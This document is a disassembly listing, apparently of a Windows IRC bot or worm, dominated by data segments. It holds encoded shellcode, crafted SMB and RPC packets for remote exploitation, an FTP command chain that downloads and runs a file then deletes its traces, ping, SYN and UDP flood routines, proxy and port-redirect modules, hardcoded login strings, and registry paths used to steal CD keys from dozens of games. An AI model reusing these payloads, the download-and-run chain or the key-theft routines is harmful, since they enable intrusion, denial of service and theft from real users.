sub_445E1A loc_445E2F: ; CODE XREF: sub_445E1A+Ej jo short near ptr dword_445DA8+1Eh cwde cdq cdq retn sub_445E1A endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh word_445EC8 dw 4B9Dh ; DATA XREF: sub_4257F0+105w dw 59AAh dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh, 66CAC9C9h dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h, 10627B17h dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66677671h dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh dd 99EDFCF2h, 0 dword_445FB0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: ___:00425E52o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_44603C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00425E87o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_4460E8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:00425EB6o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4461C8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+5Do dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h db 43h, 0, 24h dword_44621F dd 3F000000h dword_446223 dd 3F3F3F3Fh byte_446227 db 0 ; DATA XREF: sub_4257F0+B4r dd 0 dword_44622C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+2C2o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_446298 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+2F5o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_44633C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+3FAo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_4463BC dd offset sub_401492+3 ; DATA XREF: sub_4257F0+42Bo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset byte_406FB0+0CCh dd 1, 0 dd 1, 0 dd offset byte_406FB0+0CCh dd 1, 0 dd 1, 0 dd offset byte_406FB0+0CCh dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_446450 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+335o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_4464BC dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_4257F0+368o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_446530 dd 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 0 dd offset loc_40A898+2 dd 1, 0 dd 1, 3 dup(0) dword_4465BC dd 1004600h ; sub_4257F0+24Fr dd 1, 7515123Ch, 2, 751C123Ch, 75h dup(0) dword_4467A4 dd 61622E63h, 0A0D74h, 0aEchoExitYC_bat db 'echo exit /y >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+2A0o align 4 dd 0 aEchoDelFC_batC db 'echo del /F c.bat >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+277o align 10h aEchoDel_pifC_b db 'echo del .pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+24Eo dd 0 aEchoSC_bat db 'echo %s >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+221o align 10h dd 0 aEchoFtpNVS_pif db 'echo ftp -n -v -s:.pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1E9o align 4 dd 0 aEcho@echoOffC_ db 'echo @echo off >c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1BCo align 8 aEchoBye_pif db 'echo bye>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+18Fo align 10h aEchoGetS_pif db 'echo GET %s>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+162o align 4 dd 0 aEchoBinary_pif db 'echo binary>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+12Ao align 8 aEchoUserAA_pif db 'echo user a a>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+FDo align 10h dd 0 aEchoOpenSD_pif db 'echo open %s %d>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+D0o align 10h dword_4468F0 dd 6EB06EBh align 8 dword_4468F8 dd 73255C5Ch, 6370695Ch, 24h ; ___:00426352o dword_446904 dd 1CEC8166h dword_446908 dd 0E4FF07h align 10h dword_446910 dd 30B0005h, 10h, 48h, 0 dd 16D016D0h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_44695C dd 3000005h, 10h, 830h, 0 dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0 dd 1, 2 dup(0) dword_44698C dd 0FAh, 2, 0 dd 2, 0 dd 0FAh, 2 dup(0) dword_4469AC dd 0D959516Ah, 2474D9EEh db 0F4h, 5Bh ; --------------------------------------------------------------------------- loc_4469B6: ; CODE XREF: ___:004469C0j xor dword ptr [ebx+13h], 889097A8h sub ebx, 0FFFFFFFCh loop loc_4469B6 sub [ebx+6Fh], edx db 67h push edi push 7CC274D4h frstor byte ptr [eax+51h] push 1CC8776Fh cld lodsb mov word ptr ds:95EB23B4h[edx*8], ds ; --------------------------------------------------------------------------- db 0F0h, 0A9h, 78h dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h, 7CA9ACCFh dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h, 4C994BF1h dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh, 4757DDC1h dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h, 4157DFD9h dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h, 68CC4C13h dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh, 19h dup(0) aOpenSDIiEchoUs db 'open %s %d >> ii &echo user a a >> ii &echo binary >> ii &echo ge' ; DATA XREF: sub_426070+D6o db 't %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 align 4 dd 6 dup(0) aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:004263B4o align 8 word_446C18 dw 2EBh ; DATA XREF: ___:00426331r align 4 dword_446C1C dd 215h dd 0 dword_446C24 dd 20804h dd 0 ; --------------------------------------------------------------------------- loc_446C2C: ; DATA XREF: sub_4267D0+CCo jmp short loc_446C30 ; --------------------------------------------------------------------------- loc_446C2E: ; CODE XREF: ___:loc_446C30p jmp short loc_446C35 ; --------------------------------------------------------------------------- loc_446C30: ; CODE XREF: ___:loc_446C2Cj call loc_446C2E loc_446C35: ; CODE XREF: ___:loc_446C2Ej pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_446C3A dw 0FFFFh ; DATA XREF: sub_4267D0+D3w db 80h, 73h, 0Eh byte_446C3F db 0FFh ; DATA XREF: sub_4267D0+DAw dd 0F9E243h ; --------------------------------------------------------------------------- loc_446C44: ; DATA XREF: sub_4267D0+A7o jmp short loc_446C48 ; --------------------------------------------------------------------------- loc_446C46: ; CODE XREF: ___:loc_446C48p jmp short loc_446C4D ; --------------------------------------------------------------------------- loc_446C48: ; CODE XREF: ___:loc_446C44j call loc_446C46 loc_446C4D: ; CODE XREF: ___:loc_446C46j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_446C51 db 0FFh ; DATA XREF: sub_4267D0+AEw dw 7380h db 0Ch byte_446C55 db 0FFh ; DATA XREF: sub_4267D0+B4w dw 0E243h dd 0F9h dword_446C5C dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_426560+43o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_446CC0 dd 12h dd 70746674h, 6578652Eh, 20692D20h dword_446CD0 dd 74656720h byte_446CD4 db 20h ; DATA XREF: sub_426560+A2r dword_446CD5 dd 0E8006A00h dword_446CD9 dd 17h ; sub_426560+D2r dword_446CDD dd 0E8C30175h dword_446CE1 dd 1 ; sub_426560+E7r byte_446CE5 db 0, 6Ah, 0 ; DATA XREF: sub_426560+110o dd 7E8h db 0, 0Fh, 84h dword_446CEF dd 0FFFFFFEDh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi ; free add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 10h dd 0Ch dup(0) aPing db 'ping',0 ; DATA XREF: sub_427740+22o align 4 aSCannotSendPin db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0 ; DATA XREF: sub_427990+D0o align 4 dd 2 dup(0) aSFinishedFlood db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_427990+B4o align 10h dd 2 dup(0) aSSUtimesUbytes db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_427990+43o align 4 dd 0 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_427B10+38o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_427B10+2Bo align 10h aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_427B10+23o align 10h dd 0 aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_427B10+Co align 10h aForsyn db 'forsyn',0 ; DATA XREF: sub_427C90+22o align 4 aSAttack@SDDone db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_427D50+195o align 10h dd 0 aSErrorCreating db '%s: error creating threads',0 ; DATA XREF: sub_427D50+143o align 10h dd 0 aSSUDseconds db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_427D50+D3o align 10h aSyn db 'syn',0 ; DATA XREF: sub_4281A0+22o aSSDIkbSec db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00428321o align 10h aSSUUsecDms db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_428260+43o align 4 dd 0 aUdp db 'udp',0 ; DATA XREF: sub_428880+22o aSSDDone db '%s: %s:%d done',0 ; DATA XREF: sub_428940+C0o align 10h dd 0 aSSUUtUbDms db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_428940+47o align 10h dd 0 off_446EF4 dd offset byte_455247 ; DATA XREF: sub_4290B0+22o aSFinishedRedir db '[%s] Finished redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_429330+AAo dd 3 dup(0) aSStartedRedire db '[%s] Started redirect from "%s" to "%s" over "%s".',0 ; DATA XREF: sub_429330+33o align 4 dd 3 dup(0) aHttp1_0503Se_0 db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A6B1o db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Connection to %s:%d has failed',0Ah,0 align 4 dd 7 dup(0) aHttp1_0503Serv db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A64Co db 'Server: IIS/5.03',0Dh,0Ah db 'Content-Type: text/html',0Dh,0Ah db 'Proxy-Connection: close',0Dh,0Ah db 0Dh,0Ah db 0Dh,0Ah db 'Error Resolving %s',0Ah,0 align 10h dd 6 dup(0) aHttp1_0200Conn db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: ___:0042A2C2o db 0Dh,0Ah,0 dd 2 dup(0) aConnectionClos db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: ___:loc_42A131o ; ___:0042A147o align 10h aConnectionKeep db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: ___:0042A113o ; ___:0042A129o align 10h aConnection db 'Connection:',0 ; DATA XREF: ___:00429F54o align 10h aChunked db 'chunked',0 ; DATA XREF: ___:00429F11o dd 0 aTransferEncodi db 'Transfer-Encoding:',0 ; DATA XREF: ___:00429EC5o align 10h dd 0 aContentLength db 'Content-Length:',0 ; DATA XREF: ___:00429E2Do align 8 aSSSConnectionC db '%s %s %s',0Dh,0Ah ; DATA XREF: ___:00429C8Eo db 'Connection: close',0Dh,0Ah db '%s',0 align 10h aSSSConnectionK db '%s %s %s',0Dh,0Ah ; DATA XREF: ___:00429C59o db 'Connection: Keep-Alive',0Dh,0Ah db '%s',0 align 4 dd 0 aKeepAlive db 'Keep-Alive',0 ; DATA XREF: ___:loc_429B5Bo ; ___:00429FA0o align 4 dd 0 aProxyConnectio db 'Proxy-Connection:',0 ; DATA XREF: ___:00429B30o align 10h dd 0 asc_4471E4 db 0Dh,0Ah,0 ; DATA XREF: ___:00429A1Co ; ___:00429ADCo ... align 4 aHttprox db 'HTTPROX',0 ; DATA XREF: ___:004299E7o dd 0 aConnect db 'connect',0 ; DATA XREF: ___:004297B2o align 10h aConnect_0 db 'CONNECT',0 ; DATA XREF: ___:0042977Do dd 0 off_44720C dd offset byte_544547 ; DATA XREF: ___:004296B8o aHttp_0 db 'HTTP',0 ; DATA XREF: sub_42ACB0+22o align 4 aSUnloadedProxy db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_42AF20+69o align 10h aSStartingPro_0 db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_42AF20+2Eo dd 2 dup(0) aSStartingProxy db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_42AF20+21o dd 2 dup(0) aSocks4 db 'Socks4',0 ; DATA XREF: sub_42AFF0+22o ; sub_42B380+22o align 4 aSUnloadedPro_0 db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42B440+1E1o align 4 dd 0 aSStartingSocks db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42B440+2Co align 4 dd 2 dup(0) dword_4472EC dd 1000005h, 0 dword_4472F4 dd 5, 205h aSFinishedRed_0 db '[%s] Finished redirecting from port %d to "%s:%d".',0 ; DATA XREF: sub_42CB70+20Fo align 10h dd 3 dup(0) aSRedirectingFr db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0 ; DATA XREF: sub_42CB70+3Fo align 10h aSocks5Starting db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0 ; DATA XREF: ___:0042D725o dd 3 dup(0) aRoot db 'root',0 ; DATA XREF: ___:0042D6B1o align 4 dd offset aWoot ; "Woot" aWoot db 'Woot',0 ; DATA XREF: ___:004473BCo align 4 aNetworkFailedT db 'Network failed to start: %d',0Ah,0 align 4 dd 0 aCalloc db 'calloc',0 align 4 aSetsockopt db 'setsockopt',0 align 10h dd 0 aSocket db 'socket',0 align 4 aGethostbyname db 'gethostbyname',0 align 4 aGetservbyname db 'getservbyname',0 align 4 aTcp db 'tcp',0 ; DATA XREF: sub_42DB00+49o ; sub_42DB00:loc_42DBBDo aControlSocketR db 'Control socket read failed',0 ; DATA XREF: sub_42DE00:loc_42DE22o align 10h aRead db 'read',0 ; DATA XREF: sub_42DF40:loc_42E0DCo align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_42E3C0+72o dd 0 aUserS db 'USER %s',0 ; DATA XREF: sub_42E3C0+3Do align 10h aWrite db 'write',0 align 4 aS_0 db '%s',0Ah,0 ; DATA XREF: sub_42E490+3Do aInvalidOpenTyp db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42E5B0+203o align 8 dword_447498 dd 524F5453h byte_44749C db 0 ; DATA XREF: sub_42E5B0+EDr align 10h dword_4474A0 dd 52544552h byte_4474A4 db 0 ; DATA XREF: sub_42E5B0+D3r align 4 dword_4474A8 dd 5453494Ch byte_4474AC db 0 ; DATA XREF: sub_42E5B0+B8r align 10h dword_4474B0 dd 54534C4Eh byte_4474B4 db 0 ; DATA XREF: sub_42E5B0+9Er align 4 dword_4474B8 dd 45505954h, 632520h, 0 ; ___:0042F9BAo aMissingPathArg db 'Missing path argument for file transfer',0Ah,0 ; DATA XREF: sub_42E5B0+2Do align 10h dd 2 dup(0) aPortDDDDDD db 'PORT %d,%d,%d,%d,%d,%d',0 align 10h dd 0 aListen db 'listen',0 align 4 aBind db 'bind',0 align 4 aGetsockname db 'getsockname',0 dd 0 aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42E870+10Eo align 4 dd 0 aPasv db 'PASV',0 ; DATA XREF: sub_42E870+B4o align 4 aInvalidModeC db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42E870+77o align 4 aInvalidDirecti db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42E870+45o align 10h dd 0 aTimedOutWaitin db 'timed out waiting for connection',0 align 4 dd 0 aNet_write3Retu db 'net_write(3) returned %d, errno = %d',0Ah,0 align 4 dd 2 dup(0) aNet_write2Retu db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+FBo align 4 dd 2 dup(0) aNet_write1Retu db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+DBo align 4 dd 2 dup(0) aSiteS db 'SITE %s',0 ; DATA XREF: ___:0042F3CEo align 8 aSyst db 'SYST',0 ; DATA XREF: ___:0042F42Do align 10h aMkdS db 'MKD %s',0 ; DATA XREF: ___:0042F4BEo align 4 aCwdS db 'CWD %s',0 ; DATA XREF: ___:0042F53Eo align 10h aCdup db 'CDUP',0 ; DATA XREF: ___:0042F597o align 4 aRmdS db 'RMD %s',0 ; DATA XREF: ___:0042F5EEo align 10h off_447670 dd offset aSocketOpenFail ; DATA XREF: ___:0042F64Do ; "socket open failed" aLocalfileWrite db 'localfile write',0 ; DATA XREF: sub_42F6F0:loc_42F871o align 8 aShortWritePass db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42F6F0+125o align 10h word_4476B0 dw 77h ; DATA XREF: sub_42F6F0+1Fr align 4 dword_4476B4 dd 25206425h, 64hdword_4476BC dd 455A4953h, 732520h, 0dword_4476C8 dd 4D54444Dh, 732520h, 0dword_4476D4 dd 4F544E52h, 732520h, 0dword_4476E0 dd 52464E52h, 732520h, 0dword_4476EC dd 454C4544h, 732520h, 0aQuit db 'QUIT',0 ; DATA XREF: sub_42FD30+10o align 10h dword_447700 dd 1 ; sub_431750+1Fw ... aInterlockedcom db 'InterlockedCompareExchange',0 ; DATA XREF: sub_432570+13o align 10h dd 0 aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_432570+6o align 4 aA: ; DATA XREF: sub_434D10+36o unicode 0, <>,0 dd 12h dup(0) dd offset aBattlefield194 ; "[Battlefield 1942: " dd 80000002h, 448854h, 448F30h, 448820h, 80000002h, 4487C0h dd 448F30h, 448790h, 80000002h, 448738h, 448F30h, 448714h dd 80000002h, 4486CCh, 448F30h, 4486B4h, 80000002h, 448670h dd 448F30h, 448648h, 80000002h, 44860Ch, 448F30h, 4485D8h dd 80000002h, 448578h, 448F30h, 44854Ch, 80000002h, 448528h dd 448520h, 4484F4h, 80000002h, 4484CCh, 448520h, 4484B4h dd 80000001h, 448484h, 448480h, 448470h, 80000002h, 448434h dd 448F30h, 448424h, 80000002h, 4483E8h, 448F30h, 4483D4h dd 80000002h, 44838Ch, 448F30h, 448370h, 80000002h, 44832Ch dd 448F30h, 448310h, 80000001h, 4482E8h, 448480h, 4482D8h dd 80000001h, 4482B0h, 448480h, 448290h, 80000002h, 448254h dd 448250h, 448234h, 80000002h, 448210h, 448208h, 4481F0h dd 80000001h, 4481C4h, 4481BCh, 448198h, 80000002h, 44814Ch dd 448F30h, 448124h, 80000002h, 4480D0h, 448F30h, 448098h dd 80000002h, 448034h, 448F30h, 448000h, 80000002h, 447FA0h dd 448F30h, 447F84h, 80000002h, 447F3Ch, 448F30h, 447F20h dd 80000002h, 447ED8h, 448F30h, 447EC8h, 80000002h, 447E8Ch dd 448F30h, 447E7Ch, 80000002h, 447E40h, 448F30h, 447E18h dd 80000002h, 447DC4h, 448F30h, 447D9Ch, 80000002h, 447D4Ch dd 448F30h, 447D30h, 80000002h, 447D08h, 448480h, 447CF4h dd 80000002h, 447CBCh, 448F30h, 447C8Ch, 80000002h, 447C34h dd 448F30h, 447C18h, 80000001h, 447BC8h, 447BC0h, 447BA4h dd 80000002h, 447B60h, 447B54h, 447B3Ch, 80000001h, 447B0Ch dd 447B00h, 447AE0h, 80000002h, 447AA4h, 447BC0h, 447A84h dd 80000002h, 447A48h, 447BC0h, 1Eh dup(0) aSoftwareUnreal db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0 align 4 dd 2 dup(0) aUnrealTourname db '[Unreal Tournament 2004: ',0 align 10h dd 0 aSoftwareUnre_0 db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0 align 10h aUnrealTourna_0 db '[Unreal Tournament 2003: ',0 align 10h aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 dd 2 dup(0) aTheGladiators db '[The Gladiators: ',0 align 10h dd 0 aSof2key db 'sof2key',0 align 10h aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0 align 4 dd 2 dup(0) aSoldierOfFortu db '[Soldier Of Fortune 2: ',0 align 10h aCdkey db 'CDKey',0 align 4 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 dd 3 dup(0) aSoldiersOfAnar db '[Soldiers Of Anarchy: ',0 align 10h dd 0 aSoftwareElectr db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit' db 'ion\ergc',0 align 10h dd 3 dup(0) aShogunTotalWar db '[Shogun: Total War: Warlord Edition: ',0 align 4 dd 2 dup(0) aSoftwareRedSto db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0 align 4 dd 2 dup(0) dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aNeverwinterNig db '[Neverwinter Nights: ',0 align 4 dd 0 aSoftwareElec_0 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc' db 0 align 10h dd 3 dup(0) aNeedForSpeedUn db '[Need For Speed: Underground: ',0 align 4 dd 2 dup(0) aSoftwareElec_1 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er' db 'gc',0 dd 4 dup(0) aNeedForSpeedHo db '[Need For Speed: Hot Pursuit 2: ',0 align 10h aSoftwareElec_2 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 dd 2 dup(0) dd 4C484E5Bh, 30303220h, 203A33h, 0 aSoftwareElec_3 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 10h dd 2 dup(0) dd 4C484E5Bh, 30303220h, 203A32h, 0 aSoftwareElec_4 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 10h aNascarRacing20 db '[Nascar Racing 2003: ',0 align 4 dd 0 aSoftwareElec_5 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 dd 3 dup(0) aNascarRacing_0 db '[Nascar Racing 2002: ',0 align 10h aSoftwareElec_6 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S' db 'pearhead\ergc',0 align 10h dd 4 dup(0) aMedalOfHonorAl db '[Medal of Honor: Allied Assault: Spearhead ',0 dd 2 dup(0) aSoftwareElec_7 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B' db 'reakthrough\ergc',0 align 4 dd 4 dup(0) aMedalOfHonor_0 db '[Medal of Honor: Allied Assault: Breakthrough ',0 align 10h 